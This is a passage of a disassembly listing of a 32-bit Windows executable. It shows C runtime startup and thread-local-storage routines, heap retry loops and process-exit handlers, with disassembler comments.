4 jnz short loc_411C43 push edi push ebx push 30h lea eax, [ebp+1F8h+var_22C] call sub_41134D add esp, 0Ch loc_411C43: ; CODE XREF: sub_4113BB+871j ; sub_4113BB+877j cmp [ebp+1F8h+var_23C], 0 mov eax, [ebp+1F8h+var_220] jz short loc_411C9D test eax, eax jle short loc_411C9D mov esi, [ebp+1F8h+var_21C] mov [ebp+1F8h+var_260], eax loc_411C56: ; CODE XREF: sub_4113BB+8D8j movzx eax, word ptr [esi] dec [ebp+1F8h+var_260] push eax push 6 lea eax, [ebp+1F8h+var_C] push eax lea eax, [ebp+1F8h+var_268] inc esi push eax inc esi call sub_417CA8 add esp, 10h test eax, eax jnz short loc_411C97 cmp [ebp+1F8h+var_268], eax jz short loc_411C97 push [ebp+1F8h+var_268] lea eax, [ebp+1F8h+var_22C] lea ecx, [ebp+1F8h+var_C] call sub_411371 cmp [ebp+1F8h+var_260], 0 pop ecx jnz short loc_411C56 jmp short loc_411CAA ; --------------------------------------------------------------------------- loc_411C97: ; CODE XREF: sub_4113BB+8BBj ; sub_4113BB+8C0j or [ebp+1F8h+var_22C], 0FFFFFFFFh jmp short loc_411CAA ; --------------------------------------------------------------------------- loc_411C9D: ; CODE XREF: sub_4113BB+88Fj ; sub_4113BB+893j mov ecx, [ebp+1F8h+var_21C] push eax lea eax, [ebp+1F8h+var_22C] call sub_411371 pop ecx loc_411CAA: ; CODE XREF: sub_4113BB+8DAj ; sub_4113BB+8E0j cmp [ebp+1F8h+var_22C], 0 jl short loc_411CC5 test byte ptr [ebp+1F8h+var_210], 4 jz short loc_411CC5 push edi push ebx push 20h lea eax, [ebp+1F8h+var_22C] call sub_41134D add esp, 0Ch loc_411CC5: ; CODE XREF: sub_4113BB+57Cj ; sub_4113BB+809j ... cmp [ebp+1F8h+var_24C], 0 jz short loc_411CD8 ; default push [ebp+1F8h+var_24C] call sub_41112C and [ebp+1F8h+var_24C], 0 pop ecx loc_411CD8: ; CODE XREF: sub_4113BB+19Cj ; sub_4113BB+1BFj ... mov ebx, [ebp+1F8h+var_240] ; default mov al, [ebx] test al, al mov [ebp+1F8h+var_211], al jz short loc_411D08 mov ecx, [ebp+1F8h+var_26C] mov edi, [ebp+1F8h+var_224] mov dl, al jmp loc_411519 ; --------------------------------------------------------------------------- loc_411CF1: ; CODE XREF: sub_4113BB+36Ej ; sub_4113BB+55Bj call sub_40F79E mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax jmp loc_41142B ; --------------------------------------------------------------------------- loc_411D08: ; CODE XREF: sub_4113BB+158j ; sub_4113BB+166j ... cmp [ebp+1F8h+var_250], 0 jz short loc_411D15 mov eax, [ebp+1F8h+var_254] and dword ptr [eax+70h], 0FFFFFFFDh loc_411D15: ; CODE XREF: sub_4113BB+951j mov eax, [ebp+1F8h+var_22C] loc_411D18: ; CODE XREF: sub_4113BB+88j mov ecx, [ebp+1F8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_410BCD add ebp, 1F8h leave retn sub_4113BB endp ; --------------------------------------------------------------------------- db 8Dh, 49h, 0 off_411D33 dd offset loc_4116FD ; DATA XREF: sub_4113BB+1A2r dd offset loc_411564 ; jump table for switch statement dd offset loc_41157F dd offset loc_4115CE dd offset loc_411608 dd offset loc_411610 dd offset loc_411647 dd offset loc_41173F ; =============== S U B R O U T I N E ======================================= sub_411D53 proc near ; CODE XREF: sub_40DAA8+81p ; sub_40DAA8+96p ... arg_0 = dword ptr 4 push esi push dword_4231BC mov esi, dword_41C140 call esi ; TlsGetValue test eax, eax jz short loc_411D87 mov eax, dword_4231B8 cmp eax, 0FFFFFFFFh jz short loc_411D87 push eax push dword_4231BC call esi ; TlsGetValue call eax test eax, eax jz short loc_411D87 mov eax, [eax+1F8h] jmp short loc_411DA2 ; --------------------------------------------------------------------------- loc_411D87: ; CODE XREF: sub_411D53+11j ; sub_411D53+1Bj ... push offset aKernel32_dll_0 ; "KERNEL32.DLL" call dword_41C0C4 ; GetModuleHandleA test eax, eax jz short loc_411DB0 push offset aEncodepointer ; "EncodePointer" push eax call dword_41C0AC ; GetProcAddress loc_411DA2: ; CODE XREF: sub_411D53+32j test eax, eax jz short loc_411DB0 push [esp+4+arg_0] call eax mov [esp+4+arg_0], eax loc_411DB0: ; CODE XREF: sub_411D53+41j ; sub_411D53+51j mov eax, [esp+4+arg_0] pop esi retn sub_411D53 endp ; =============== S U B R O U T I N E ======================================= sub_411DB6 proc near ; CODE XREF: sub_412755+1p ; sub_416504+2Fp ... push 0 call sub_411D53 pop ecx retn sub_411DB6 endp ; =============== S U B R O U T I N E ======================================= sub_411DBF proc near ; CODE XREF: sub_40DAA8+Bp ; sub_40DAA8+1Cp ... arg_0 = dword ptr 4 push esi push dword_4231BC mov esi, dword_41C140 call esi ; TlsGetValue test eax, eax jz short loc_411DF3 mov eax, dword_4231B8 cmp eax, 0FFFFFFFFh jz short loc_411DF3 push eax push dword_4231BC call esi ; TlsGetValue call eax test eax, eax jz short loc_411DF3 mov eax, [eax+1FCh] jmp short loc_411E0E ; --------------------------------------------------------------------------- loc_411DF3: ; CODE XREF: sub_411DBF+11j ; sub_411DBF+1Bj ... push offset aKernel32_dll_0 ; "KERNEL32.DLL" call dword_41C0C4 ; GetModuleHandleA test eax, eax jz short loc_411E1C push offset aDecodepointer ; "DecodePointer" push eax call dword_41C0AC ; GetProcAddress loc_411E0E: ; CODE XREF: sub_411DBF+32j test eax, eax jz short loc_411E1C push [esp+4+arg_0] call eax mov [esp+4+arg_0], eax loc_411E1C: ; CODE XREF: sub_411DBF+41j ; sub_411DBF+51j mov eax, [esp+4+arg_0] pop esi retn sub_411DBF endp ; =============== S U B R O U T I N E ======================================= sub_411E22 proc near ; DATA XREF: sub_41219F+8Ao call dword_41C144 ; TlsAlloc retn 4 sub_411E22 endp ; =============== S U B R O U T I N E ======================================= sub_411E2B proc near ; CODE XREF: .vty:0041044Bp arg_0 = dword ptr 4 push [esp+arg_0] push dword_4231BC call dword_41C140 ; TlsGetValue call eax retn 4 sub_411E2B endp ; =============== S U B R O U T I N E ======================================= sub_411E40 proc near ; CODE XREF: .vty:00410445p ; .vty:00410459p mov eax, dword_4231B8 retn sub_411E40 endp ; =============== S U B R O U T I N E ======================================= sub_411E46 proc near ; CODE XREF: .vty:00410440p ; sub_4104BF+2Fp ... push dword_4231BC call dword_41C140 ; TlsGetValue test eax, eax jnz short locret_411E6F push dword_4243A4 call sub_411DBF pop ecx push eax push dword_4231BC call dword_41C148 ; TlsSetValue locret_411E6F: ; CODE XREF: sub_411E46+Ej retn sub_411E46 endp ; =============== S U B R O U T I N E ======================================= sub_411E70 proc near ; CODE XREF: .vty:0041045Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] push dword_4243A8 call sub_411DBF pop ecx call eax retn 8 sub_411E70 endp ; =============== S U B R O U T I N E ======================================= sub_411E89 proc near ; CODE XREF: sub_41219F+12p ; sub_41219F:loc_412319p mov eax, dword_4231B8 cmp eax, 0FFFFFFFFh jz short loc_411EA9 push eax push dword_4243AC call sub_411DBF pop ecx call eax or dword_4231B8, 0FFFFFFFFh loc_411EA9: ; CODE XREF: sub_411E89+8j mov eax, dword_4231BC cmp eax, 0FFFFFFFFh jz short loc_411EC1 push eax call dword_41C14C ; TlsFree or dword_4231BC, 0FFFFFFFFh loc_411EC1: ; CODE XREF: sub_411E89+28j jmp sub_416C79 sub_411E89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411EC6 proc near ; CODE XREF: sub_4104BF+51p ; sub_411F7A+59p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 0Ch push offset dword_41F988 call __SEH_prolog4 push offset aKernel32_dll_0 ; "KERNEL32.DLL" call dword_41C0C4 ; GetModuleHandleA mov [ebp+var_1C], eax mov esi, [ebp+arg_0] mov dword ptr [esi+5Ch], offset dword_423BE0 xor edi, edi inc edi mov [esi+14h], edi test eax, eax jz short loc_411F18 push offset aEncodepointer ; "EncodePointer" push eax mov ebx, dword_41C0AC call ebx ; GetProcAddress mov [esi+1F8h], eax push offset aDecodepointer ; "DecodePointer" push [ebp+var_1C] call ebx ; GetProcAddress mov [esi+1FCh], eax loc_411F18: ; CODE XREF: sub_411EC6+2Cj mov [esi+70h], edi mov byte ptr [esi+0C8h], 43h mov byte ptr [esi+14Bh], 43h mov eax, offset dword_423288 mov [esi+68h], eax push eax call dword_41C150 ; InterlockedIncrement push 0Ch call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebp+arg_4] mov [esi+6Ch], eax test eax, eax jnz short loc_411F56 mov eax, off_423890 mov [esi+6Ch], eax loc_411F56: ; CODE XREF: sub_411EC6+86j push dword ptr [esi+6Ch] call sub_4133C2 pop ecx mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411F71 call __SEH_epilog4 retn sub_411EC6 endp ; =============== S U B R O U T I N E ======================================= sub_411F71 proc near ; CODE XREF: sub_411EC6+A0p ; DATA XREF: .vty:0041F9A0o push 0Ch call sub_416CCE pop ecx retn sub_411F71 endp ; =============== S U B R O U T I N E ======================================= sub_411F7A proc near ; CODE XREF: sub_40F6FC+2p sub_40F79Ep ... push esi push edi call dword_41C0A4 ; RtlGetLastWin32Error mov edi, eax call sub_411E46 push dword_4231B8 push dword_4231BC call dword_41C140 ; TlsGetValue call eax ; sub_41B60D mov esi, eax test esi, esi jnz short loc_411FF1 push 214h push 1 call sub_412363 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_411FF1 push esi push dword_4231B8 push dword_4243A8 call sub_411DBF pop ecx call eax ; sub_41B60D test eax, eax jz short loc_411FE8 push 0 push esi call sub_411EC6 pop ecx pop ecx call dword_41C120 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_411FF1 ; --------------------------------------------------------------------------- loc_411FE8: ; CODE XREF: sub_411F7A+54j push esi call sub_41112C pop ecx xor esi, esi loc_411FF1: ; CODE XREF: sub_411F7A+27j ; sub_411F7A+3Bj ... push edi call dword_41C154 ; RtlSetLastWin32Error pop edi mov eax, esi pop esi retn sub_411F7A endp ; =============== S U B R O U T I N E ======================================= sub_411FFD proc near ; CODE XREF: sub_40F7E2+Fp sub_40FA79p ... push esi call sub_411F7A mov esi, eax test esi, esi jnz short loc_412011 push 10h call sub_412499 pop ecx loc_412011: ; CODE XREF: sub_411FFD+Aj mov eax, esi pop esi retn sub_411FFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412015 proc near ; CODE XREF: .vty:00410496p ; sub_412136+4Fp ; DATA XREF: ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_41F9A8 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz loc_412116 mov eax, [esi+24h] test eax, eax jz short loc_41203A push eax call sub_41112C pop ecx loc_41203A: ; CODE XREF: sub_412015+1Cj mov eax, [esi+2Ch] test eax, eax jz short loc_412048 push eax call sub_41112C pop ecx loc_412048: ; CODE XREF: sub_412015+2Aj mov eax, [esi+34h] test eax, eax jz short loc_412056 push eax call sub_41112C pop ecx loc_412056: ; CODE XREF: sub_412015+38j mov eax, [esi+3Ch] test eax, eax jz short loc_412064 push eax call sub_41112C pop ecx loc_412064: ; CODE XREF: sub_412015+46j mov eax, [esi+44h] test eax, eax jz short loc_412072 push eax call sub_41112C pop ecx loc_412072: ; CODE XREF: sub_412015+54j mov eax, [esi+48h] test eax, eax jz short loc_412080 push eax call sub_41112C pop ecx loc_412080: ; CODE XREF: sub_412015+62j mov eax, [esi+5Ch] cmp eax, offset dword_423BE0 jz short loc_412091 push eax call sub_41112C pop ecx loc_412091: ; CODE XREF: sub_412015+73j push 0Dh call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 mov edi, [esi+68h] test edi, edi jz short loc_4120BE push edi call dword_41C158 ; InterlockedDecrement test eax, eax jnz short loc_4120BE cmp edi, offset dword_423288 jz short loc_4120BE push edi call sub_41112C pop ecx loc_4120BE: ; CODE XREF: sub_412015+8Dj ; sub_412015+98j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412121 push 0Ch call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], 1 mov edi, [esi+6Ch] test edi, edi jz short loc_412103 push edi call sub_413448 pop ecx cmp edi, off_423890 jz short loc_412103 cmp edi, offset dword_4237B8 jz short loc_412103 cmp dword ptr [edi], 0 jnz short loc_412103 push edi call sub_413282 pop ecx loc_412103: ; CODE XREF: sub_412015+C9j ; sub_412015+D8j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41212D push esi call sub_41112C pop ecx loc_412116: ; CODE XREF: sub_412015+11j call __SEH_epilog4 retn 4 sub_412015 endp ; =============== S U B R O U T I N E ======================================= sub_41211E proc near ; DATA XREF: .vty:0041F9C0o mov esi, [ebp+8] sub_41211E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412121 proc near ; CODE XREF: sub_412015+B0p push 0Dh call sub_416CCE pop ecx retn sub_412121 endp ; =============== S U B R O U T I N E ======================================= sub_41212A proc near ; DATA XREF: .vty:0041F9CCo mov esi, [ebp+8] sub_41212A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41212D proc near ; CODE XREF: sub_412015+F5p push 0Ch call sub_416CCE pop ecx retn sub_41212D endp ; =============== S U B R O U T I N E ======================================= sub_412136 proc near ; CODE XREF: sub_4103C5+28p arg_0 = dword ptr 4 cmp dword_4231B8, 0FFFFFFFFh jz short loc_41218B push edi mov edi, [esp+4+arg_0] test edi, edi jnz short loc_41216E push esi push dword_4231BC mov esi, dword_41C140 call esi ; TlsGetValue test eax, eax jz short loc_41216D push dword_4231B8 push dword_4231BC call esi ; TlsGetValue call eax mov edi, eax loc_41216D: ; CODE XREF: sub_412136+23j pop esi loc_41216E: ; CODE XREF: sub_412136+10j push 0 push dword_4231B8 push dword_4243A8 call sub_411DBF pop ecx call eax push edi call sub_412015 pop edi loc_41218B: ; CODE XREF: sub_412136+7j mov eax, dword_4231BC cmp eax, 0FFFFFFFFh jz short locret_41219E push 0 push eax call dword_41C148 ; TlsSetValue locret_41219E: ; CODE XREF: sub_412136+5Dj retn sub_412136 endp ; =============== S U B R O U T I N E ======================================= sub_41219F proc near ; CODE XREF: sub_4107B2:loc_4106B5p push edi push offset aKernel32_dll_0 ; "KERNEL32.DLL" call dword_41C0C4 ; GetModuleHandleA mov edi, eax test edi, edi jnz short loc_4121BA call sub_411E89 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4121BA: ; CODE XREF: sub_41219F+10j push esi mov esi, dword_41C0AC push offset aFlsalloc ; "FlsAlloc" push edi call esi ; GetProcAddress push offset aFlsgetvalue ; "FlsGetValue" push edi mov dword_4243A0, eax call esi ; GetProcAddress push offset aFlssetvalue ; "FlsSetValue" push edi mov dword_4243A4, eax call esi ; GetProcAddress push offset aFlsfree ; "FlsFree" push edi mov dword_4243A8, eax call esi ; GetProcAddress cmp dword_4243A0, 0 mov esi, dword_41C148 mov dword_4243AC, eax jz short loc_41221A cmp dword_4243A4, 0 jz short loc_41221A cmp dword_4243A8, 0 jz short loc_41221A test eax, eax jnz short loc_41223E loc_41221A: ; CODE XREF: sub_41219F+63j ; sub_41219F+6Cj ... mov eax, dword_41C140 mov dword_4243A4, eax mov eax, dword_41C14C mov dword_4243A0, offset sub_411E22 mov dword_4243A8, esi mov dword_4243AC, eax loc_41223E: ; CODE XREF: sub_41219F+79j call dword_41C144 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_4231BC, eax jz loc_41231E push dword_4243A4 push eax call esi ; TlsSetValue test eax, eax jz loc_41231E call sub_412755 push dword_4243A0 call sub_411D53 push dword_4243A4 mov dword_4243A0, eax call sub_411D53 push dword_4243A8 mov dword_4243A4, eax call sub_411D53 push dword_4243AC mov dword_4243A8, eax call sub_411D53 add esp, 10h mov dword_4243AC, eax call sub_416C30 test eax, eax jz short loc_412319 push offset sub_412015 push dword_4243A0 call sub_411DBF pop ecx call eax ; TlsFree cmp eax, 0FFFFFFFFh mov dword_4231B8, eax jz short loc_412319 push 214h push 1 call sub_412363 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_412319 push esi push dword_4231B8 push dword_4243A8 call sub_411DBF pop ecx call eax ; TlsFree test eax, eax jz short loc_412319 push 0 push esi call sub_411EC6 pop ecx pop ecx call dword_41C120 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax jmp short loc_412320 ; --------------------------------------------------------------------------- loc_412319: ; CODE XREF: sub_41219F+113j ; sub_41219F+130j ... call sub_411E89 loc_41231E: ; CODE XREF: sub_41219F+ADj ; sub_41219F+BEj xor eax, eax loc_412320: ; CODE XREF: sub_41219F+178j pop esi pop edi retn sub_41219F endp ; =============== S U B R O U T I N E ======================================= sub_412323 proc near ; CODE XREF: sub_4113BB+5D0p ; sub_4130CA+3Bp ... arg_0 = dword ptr 4 push esi push edi xor esi, esi loc_412327: ; CODE XREF: sub_412323+39j push [esp+8+arg_0] call sub_411069 mov edi, eax test edi, edi pop ecx jnz short loc_41235E cmp dword_4243B0, eax jbe short loc_41235E push esi call dword_41C090 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_4243B0 jbe short loc_412357 or eax, 0FFFFFFFFh loc_412357: ; CODE XREF: sub_412323+2Fj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_412327 loc_41235E: ; CODE XREF: sub_412323+12j ; sub_412323+1Aj mov eax, edi pop edi pop esi retn sub_412323 endp ; =============== S U B R O U T I N E ======================================= sub_412363 proc near ; CODE XREF: sub_40DB55+5p ; sub_40F6FC+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi xor esi, esi loc_412367: ; CODE XREF: sub_412363+41j push 0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_417D65 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_4123A6 cmp dword_4243B0, eax jbe short loc_4123A6 push esi call dword_41C090 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_4243B0 jbe short loc_41239F or eax, 0FFFFFFFFh loc_41239F: ; CODE XREF: sub_412363+37j cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_412367 loc_4123A6: ; CODE XREF: sub_412363+1Aj ; sub_412363+22j mov eax, edi pop edi pop esi retn sub_412363 endp ; =============== S U B R O U T I N E ======================================= sub_4123AB proc near ; CODE XREF: sub_40DAA8+58p ; sub_40DAA8+6Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi xor esi, esi loc_4123AF: ; CODE XREF: sub_4123AB+44j push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_417E83 mov edi, eax test edi, edi pop ecx pop ecx jnz short loc_4123F1 cmp [esp+8+arg_4], eax jz short loc_4123F1 cmp dword_4243B0, eax jbe short loc_4123F1 push esi call dword_41C090 ; Sleep lea eax, [esi+3E8h] cmp eax, dword_4243B0 jbe short loc_4123EA or eax, 0FFFFFFFFh loc_4123EA: ; CODE XREF: sub_4123AB+3Aj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_4123AF loc_4123F1: ; CODE XREF: sub_4123AB+17j ; sub_4123AB+1Dj ... mov eax, edi pop edi pop esi retn sub_4123AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40DAA8+36p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_41F9D0 call __SEH_prolog4 xor eax, eax mov ebx, [ebp+arg_0] xor edi, edi cmp ebx, edi setnz al cmp eax, edi jnz short loc_41242F call sub_40F79E mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_412482 ; --------------------------------------------------------------------------- loc_41242F: ; CODE XREF: sub_4123F6+1Aj cmp dword_424EC4, 3 jnz short loc_412470 push 4 call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_416E1F pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_41245C mov esi, [ebx-4] sub esi, 9 mov [ebp+var_1C], esi jmp short loc_41245F ; --------------------------------------------------------------------------- loc_41245C: ; CODE XREF: sub_4123F6+59j mov esi, [ebp+var_1C] loc_41245F: ; CODE XREF: sub_4123F6+64j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412490 cmp [ebp+var_20], edi jnz short loc_412480 loc_412470: ; CODE XREF: sub_4123F6+40j push ebx push edi push dword_42487C call dword_41C15C ; RtlSizeHeap mov esi, eax loc_412480: ; CODE XREF: sub_4123F6+78j mov eax, esi loc_412482: ; CODE XREF: sub_4123F6+37j call __SEH_epilog4 retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= sub_412488 proc near ; DATA XREF: .vty:0041F9E8o xor edi, edi mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_412488 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412490 proc near ; CODE XREF: sub_4123F6+70p push 4 call sub_416CCE pop ecx retn sub_412490 endp ; =============== S U B R O U T I N E ======================================= sub_412499 proc near ; CODE XREF: sub_4107B2-D9p ; sub_4107B2-B3p ... arg_0 = dword ptr 4 call sub_4143CC push [esp+arg_0] call sub_41422C push dword_4231C0 call sub_411DBF push 0FFh call eax ; TlsFree add esp, 0Ch retn sub_412499 endp ; =============== S U B R O U T I N E ======================================= sub_4124BD proc near ; CODE XREF: sub_4124E3+4p arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call dword_41C0C4 ; GetModuleHandleA test eax, eax jz short locret_4124E2 push offset aCorexitprocess ; "CorExitProcess" push eax call dword_41C0AC ; GetProcAddress test eax, eax jz short locret_4124E2 push [esp+arg_0] call eax ; TlsFree locret_4124E2: ; CODE XREF: sub_4124BD+Dj ; sub_4124BD+1Dj retn sub_4124BD endp ; =============== S U B R O U T I N E ======================================= sub_4124E3 proc near ; CODE XREF: sub_41056D+1Cp ; sub_411069+34p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4124BD pop ecx push [esp+arg_0] call dword_41C100 ; ExitProcess int 3 ; Trap to Debugger sub_4124E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4124F8 proc near ; CODE XREF: sub_40DB84+Cp push 8 call sub_416DA6 pop ecx retn sub_4124F8 endp ; =============== S U B R O U T I N E ======================================= sub_412501 proc near ; CODE XREF: sub_40DBBAp push 8 call sub_416CCE pop ecx retn sub_412501 endp ; =============== S U B R O U T I N E ======================================= sub_41250A proc near ; CODE XREF: sub_412647+78p ; sub_412647+88p arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_41251A ; --------------------------------------------------------------------------- loc_41250F: ; CODE XREF: sub_41250A+14j mov eax, [esi] test eax, eax jz short loc_412517 call eax ; TlsFree loc_412517: ; CODE XREF: sub_41250A+9j add esi, 4 loc_41251A: ; CODE XREF: sub_41250A+3j cmp esi, [esp+4+arg_0] jb short loc_41250F pop esi retn sub_41250A endp ; =============== S U B R O U T I N E ======================================= sub_412522 proc near ; CODE XREF: sub_4125B5+32p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] xor eax, eax jmp short loc_41253A ; --------------------------------------------------------------------------- loc_41252B: ; CODE XREF: sub_412522+1Cj test eax, eax jnz short loc_412540 mov ecx, [esi] test ecx, ecx jz short loc_412537 call ecx loc_412537: ; CODE XREF: sub_412522+11j add esi, 4 loc_41253A: ; CODE XREF: sub_412522+7j cmp esi, [esp+4+arg_4] jb short loc_41252B loc_412540: ; CODE XREF: sub_412522+Bj pop esi retn sub_412522 endp ; =============== S U B R O U T I N E ======================================= sub_412542 proc near ; CODE XREF: sub_415BC4+12p ; sub_4182CC+27p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jnz short loc_41256A loc_41254D: ; CODE XREF: sub_412542+2Fj call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41256A: ; CODE XREF: sub_412542+9j mov eax, dword_4243B8 cmp eax, esi jz short loc_41254D mov [ecx], eax xor eax, eax pop esi retn sub_412542 endp ; =============== S U B R O U T I N E ======================================= sub_412579 proc near ; CODE XREF: sub_415BC4+2Dp ; sub_419937+11Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_4125A1 loc_412584: ; CODE XREF: sub_412579+2Ej call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4125A1: ; CODE XREF: sub_412579+9j cmp dword_4243B8, esi jz short loc_412584 mov ecx, dword_4243C4 mov [eax], ecx xor eax, eax pop esi retn sub_412579 endp ; =============== S U B R O U T I N E ======================================= sub_4125B5 proc near ; CODE XREF: sub_4107B2-9Bp arg_0 = dword ptr 4 cmp dword_426020, 0 jz short loc_4125D8 push offset dword_426020 call sub_4152A2 test eax, eax pop ecx jz short loc_4125D8 push [esp+arg_0] call dword_426020 pop ecx loc_4125D8: ; CODE XREF: sub_4125B5+7j ; sub_4125B5+16j call sub_417B14 push offset dword_41C244 push offset dword_41C228 call sub_412522 test eax, eax pop ecx pop ecx jnz short locret_412646 push esi push edi push offset sub_415BA0 call sub_40DBC0 mov esi, offset dword_41C220 mov eax, esi mov edi, offset dword_41C224 cmp eax, edi pop ecx jnb short loc_41261E loc_41260F: ; CODE XREF: sub_4125B5+67j mov eax, [esi] test eax, eax jz short loc_412617 call eax loc_412617: ; CODE XREF: sub_4125B5+5Ej add esi, 4 cmp esi, edi jb short loc_41260F loc_41261E: ; CODE XREF: sub_4125B5+58j cmp dword_426024, 0 pop edi pop esi jz short loc_412644 push offset dword_426024 call sub_4152A2 test eax, eax pop ecx jz short loc_412644 push 0 push 2 push 0 call dword_426024 loc_412644: ; CODE XREF: sub_4125B5+72j ; sub_4125B5+81j xor eax, eax locret_412646: ; CODE XREF: sub_4125B5+3Bj retn sub_4125B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412647 proc near ; CODE XREF: sub_412715+8p ; sub_412726+8p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041270F SIZE 00000006 BYTES push 0Ch push offset dword_41F9F0 call __SEH_prolog4 push 8 call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 xor esi, esi inc esi cmp dword_4243F8, esi jz short loc_4126D5 mov dword_4243F4, esi mov al, byte ptr [ebp+arg_8] mov byte_4243F0, al cmp [ebp+arg_4], 0 jnz short loc_4126C5 push dword_426018 call sub_411DBF mov edi, eax push dword_426014 call sub_411DBF pop ecx pop ecx mov [ebp+var_1C], eax test edi, edi jz short loc_4126B5 loc_41269F: ; CODE XREF: sub_412647+68j ; sub_412647+6Cj sub [ebp+var_1C], 4 cmp [ebp+var_1C], edi jb short loc_4126B5 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_41269F call eax jmp short loc_41269F ; --------------------------------------------------------------------------- loc_4126B5: ; CODE XREF: sub_412647+56j ; sub_412647+5Fj push offset dword_41C254 mov eax, offset dword_41C248 call sub_41250A pop ecx loc_4126C5: ; CODE XREF: sub_412647+35j push offset dword_41C260 mov eax, offset dword_41C258 call sub_41250A pop ecx loc_4126D5: ; CODE XREF: sub_412647+21j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412700 cmp [ebp+arg_8], 0 jnz short loc_41270F mov dword_4243F8, esi push 8 call sub_416CCE pop ecx push [ebp+arg_0] call sub_4124E3 loc_4126FD: ; DATA XREF: .vty:0041FA08o xor esi, esi inc esi sub_412647 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412700 proc near ; CODE XREF: sub_412647+95p cmp dword ptr [ebp+10h], 0 jz short locret_41270E push 8 call sub_416CCE pop ecx locret_41270E: ; CODE XREF: sub_412700+4j retn sub_412700 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412647 loc_41270F: ; CODE XREF: sub_412647+9Ej call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_412647 ; =============== S U B R O U T I N E ======================================= sub_412715 proc near ; CODE XREF: sub_4107B2-5Fp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_412647 add esp, 0Ch retn sub_412715 endp ; =============== S U B R O U T I N E ======================================= sub_412726 proc near ; CODE XREF: .vty:00410439p ; .vty:00410783p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_412647 add esp, 0Ch retn sub_412726 endp ; =============== S U B R O U T I N E ======================================= sub_412737 proc near ; CODE XREF: sub_4107B2:loc_410758p push 1 push 0 push 0 call sub_412647 add esp, 0Ch retn sub_412737 endp ; =============== S U B R O U T I N E ======================================= sub_412746 proc near ; CODE XREF: .vty:loc_410788p push 1 push 1 push 0 call sub_412647 add esp, 0Ch retn sub_412746 endp ; =============== S U B R O U T I N E ======================================= sub_412755 proc near ; CODE XREF: sub_41219F+C4p push esi call sub_411DB6 mov esi, eax push esi call sub_412B08 push esi call sub_4182B2 push esi call 